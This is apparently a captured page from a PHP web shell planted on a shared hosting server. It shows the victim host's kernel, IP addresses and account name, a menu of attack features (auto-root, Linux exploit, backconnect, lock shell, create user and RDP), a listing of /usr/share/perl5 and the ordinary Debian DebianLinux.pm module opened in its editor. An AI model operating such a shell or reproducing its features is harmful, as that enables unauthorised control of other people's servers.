Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxr-xr-x
Amazon
[ DIR ]
drwxr-xr-x
Apache
[ DIR ]
drwxr-xr-x
App
[ DIR ]
drwxr-xr-x
AppConfig
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Authen
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
BSON
[ DIR ]
drwxr-xr-x
Barcode
[ DIR ]
drwxr-xr-x
Bit
[ DIR ]
drwxr-xr-x
Bundle
[ DIR ]
drwxr-xr-x
Business
[ DIR ]
drwxr-xr-x
Bytes
[ DIR ]
drwxr-xr-x
CDDB
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Chart
[ DIR ]
drwxr-xr-x
Chatbot
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Convert
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
DBD
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Date
[ DIR ]
drwxr-xr-x
DateTime
[ DIR ]
drwxr-xr-x
Debconf
[ DIR ]
drwxr-xr-x
Debian
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Devscripts
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Dist
[ DIR ]
drwxr-xr-x
Domain
[ DIR ]
drwxr-xr-x
Dpkg
[ DIR ]
drwxr-xr-x
Dselect
[ DIR ]
drwxr-xr-x
DynaLoader
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Eval
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Finance
[ DIR ]
drwxr-xr-x
Flickr
[ DIR ]
drwxr-xr-x
Font
[ DIR ]
drwxr-xr-x
Frontier
[ DIR ]
drwxr-xr-x
GD
[ DIR ]
drwxr-xr-x
Geo
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
Git
[ DIR ]
drwxr-xr-x
GnuPG
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
Heap
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Ima
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Inline
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
Jcode
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Lingua
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
MARC
[ DIR ]
drwxr-xr-x
MIDI
[ DIR ]
drwxr-xr-x
MIME
[ DIR ]
drwxr-xr-x
MLDBM
[ DIR ]
drwxr-xr-x
MP3
[ DIR ]
drwxr-xr-x
MRO
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Method
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
MojoX
[ DIR ]
drwxr-xr-x
MongoDB
[ DIR ]
drwxr-xr-x
Moo
[ DIR ]
drwxr-xr-x
MooseX
[ DIR ]
drwxr-xr-x
NeedRestart
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Number
[ DIR ]
drwxr-xr-x
OLE
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
PBKDF2
[ DIR ]
drwxr-xr-x
PDF
[ DIR ]
drwxr-xr-x
POE
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Parallel
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
Path
[ DIR ]
drwxr-xr-x
Plucene
[ DIR ]
drwxr-xr-x
RDF
[ DIR ]
drwxr-xr-x
RPC
[ DIR ]
drwxr-xr-x
Regexp
[ DIR ]
drwxr-xr-x
Reply
[ DIR ]
drwxr-xr-x
Role
[ DIR ]
drwxr-xr-x
SOAP
[ DIR ]
drwxr-xr-x
SQL
[ DIR ]
drwxr-xr-x
Safe
[ DIR ]
drwxr-xr-x
Sort
[ DIR ]
drwxr-xr-x
Specio
[ DIR ]
drwxr-xr-x
Spreadsheet
[ DIR ]
drwxr-xr-x
Statistics
[ DIR ]
drwxr-xr-x
String
[ DIR ]
drwxr-xr-x
Sub
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Task
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Try
[ DIR ]
drwxr-xr-x
Type
[ DIR ]
drwxr-xr-x
Types
[ DIR ]
drwxr-xr-x
UNIVERSAL
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
UUID
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
WWW
[ DIR ]
drwxr-xr-x
Web
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
YAML
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
libwww
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
namespace
[ DIR ]
drwxr-xr-x
strictures
[ DIR ]
drwxr-xr-x
AppConfig.pm
31.71
KB
-rw-r--r--
BSON.pm
46.79
KB
-rw-r--r--
CGI.pm
122.81
KB
-rw-r--r--
CGI.pod
66.37
KB
-rw-r--r--
Cache.pm
14.33
KB
-rw-r--r--
Chart.pod
24.49
KB
-rw-r--r--
DebianLinux.pm
5.28
KB
-rw-r--r--
Dpkg.pm
5.72
KB
-rw-r--r--
Error.pm
29.45
KB
-rw-r--r--
Expect.pm
53.62
KB
-rw-r--r--
Expect.pod
42.73
KB
-rw-r--r--
Fh.pm
166
B
-rw-r--r--
Git.pm
46.44
KB
-rw-r--r--
GnuPG.pm
32.96
KB
-rw-r--r--
Heap.pm
3.8
KB
-rw-r--r--
Inline.pm
61.19
KB
-rw-r--r--
Inline.pod
40.84
KB
-rw-r--r--
JSON.pm
61.08
KB
-rw-r--r--
Jcode.pm
22.55
KB
-rw-r--r--
LWP.pm
21.18
KB
-rw-r--r--
MIDI.pm
15.15
KB
-rw-r--r--
MLDBM.pm
16.21
KB
-rw-r--r--
MailTools.pm
458
B
-rw-r--r--
MailTools.pod
2.24
KB
-rw-r--r--
MongoDB.pm
13.29
KB
-rw-r--r--
Moo.pm
33.55
KB
-rw-r--r--
NeedRestart.pm
5.88
KB
-rw-r--r--
POE.pm
25.84
KB
-rw-r--r--
PgCommon.pm
43
KB
-rw-r--r--
Plucene.pm
3.77
KB
-rw-r--r--
Specio.pm
14.83
KB
-rw-r--r--
TimeDate.pm
267
B
-rw-r--r--
URI.pm
34.13
KB
-rw-r--r--
User.pm
2.47
KB
-rw-r--r--
YAML.pm
3.12
KB
-rw-r--r--
YAML.pod
22.61
KB
-rw-r--r--
boolean.pm
2.13
KB
-rw-r--r--
boolean.pod
4.08
KB
-rw-r--r--
oo.pm
1.3
KB
-rw-r--r--
strictures.pm
14.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DebianLinux.pm
# Copyright 2011 Ben Hutchings # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA package DebianLinux; use strict; use warnings; use POSIX qw(uname); use FileHandle; BEGIN { use Exporter (); our @ISA = qw(Exporter); our @EXPORT_OK = qw(version_cmp image_stem image_list read_kernelimg_conf); } sub version_split { # Split into numbers and non-numeric strings, but break the non- # numeric strings at hyphens my $version = shift; return $version =~ /(?:\d+|-?[^-\d]*)/g; } sub version_cmp { my ($left_ver, $right_ver) = @_; my @left_comp = version_split($left_ver); my @right_comp = version_split($right_ver); for (my $i = 0; ; $i++) { my $left = $left_comp[$i]; my $right = $right_comp[$i]; # Do the components indicate pre-releases? my $left_pre = defined($left) && $left =~ /^-(?:rc|trunk)$/; my $right_pre = defined($right) && $right =~ /^-(?:rc|trunk)$/; # Are the components numeric? my $left_num = defined($left) && $left =~ /^\d+/; my $right_num = defined($right) && $right =~ /^\d+/; # Pre-releases sort before anything, even end-of-string if ($left_pre or $right_pre) { return -1 if !$right_pre; return 1 if !$left_pre; } # End-of-string sorts before anything else. # End-of-string on both sides means equality. if (!defined($left) or !defined($right)) { return -1 if defined($right); return defined($left) || 0; } # Use numeric comparison if both sides numeric. # Otherwise use ASCII comparison. if ($left_num && $right_num) { return -1 if $left < $right; return 1 if $left > $right; } else { # Note that '.' > '-' thus 2.6.x.y > 2.6.x-z for any y, z. return -1 if $left lt $right; return 1 if $left gt $right; } } } # Find kernel image name stem for this architecture my $image_stem; if ((uname())[4] =~ /^(?:mips|parisc|powerpc|ppc)/) { $image_stem = 'vmlinux'; } else { $image_stem = 'vmlinuz'; } sub image_stem { return $image_stem; } sub image_list { my @results; my $prefix = "/boot/$image_stem-"; for (glob("$prefix*")) { push @results, [substr($_, length($prefix)), $_]; } return @results; } sub read_kernelimg_conf { my $conf_loc = shift || '/etc/kernel-img.conf'; my @bool_param = qw(do_symlinks link_in_boot no_symlinks); my @path_param = qw(image_dest); # These are still set in the jessie installer even though they # have no effect. Ignore them quietly. my @quiet_param = qw(do_bootloader do_initrd); # These are used only by kernel-package, and are not relevant to # anything that linux-base does. Ignore them quietly. push @quiet_param, qw(clobber_modules force_build_link relink_build_link relink_src_link silent_modules warn_reboot); # Initialise configuration to defaults my $conf = { do_symlinks => 1, image_dest => '/', link_in_boot => 1, no_symlinks => 0, }; if (my $fh = new FileHandle($conf_loc, 'r')) { while (<$fh>) { # Delete line endings, comments and blank lines chomp; s/\#.*$//g; next if /^\s*$/; # Historically this was done by matching against one # (path) or two (bool) regexps per parameter, with no # attempt to ensure that each line matched one. We now # warn about syntax errors, but for backward compatibility # we never treat them as fatal. # Parse into name = value if (!/^\s*(\w+)\s*=\s*(.*)/) { print STDERR "$conf_loc:$.: W: ignoring line with syntax error\n"; next; } my ($name, $value) = (lc($1), $2); # Parse value according to expected type if (grep({$_ eq $name} @bool_param)) { if ($value =~ /^(?:no|false|0)\s*$/i) { $conf->{$name} = 0; } elsif ($value =~ /^(?:yes|true|1)\s*$/i) { $conf->{$name} = 1; } else { print STDERR "$conf_loc:$.: W: ignoring invalid value for $name\n"; } } elsif (grep({$_ eq $name} @path_param)) { # Only one space-separated word is supported $value =~ /^(\S*)(.*)/; ($conf->{$name}, my $excess) = ($1, $2); if ($excess =~ /\S/) { print STDERR "$conf_loc:$.: W: ignoring excess values for $name\n"; } } elsif (grep({$_ eq $name} @quiet_param)) { ; } else { print STDERR "$conf_loc:$.: W: ignoring unknown parameter $name\n"; } } $fh->close(); } # This is still set (to 0) by default in jessie so we should only # warn if the default is changed if ($conf->{no_symlinks}) { print STDERR "$conf_loc: W: ignoring no_symlinks; only symlinks are supported\n"; } delete $conf->{no_symlinks}; if ($conf->{link_in_boot}) { $conf->{image_dest} = '/boot'; } delete $conf->{link_in_boot}; return $conf; } 1;
Close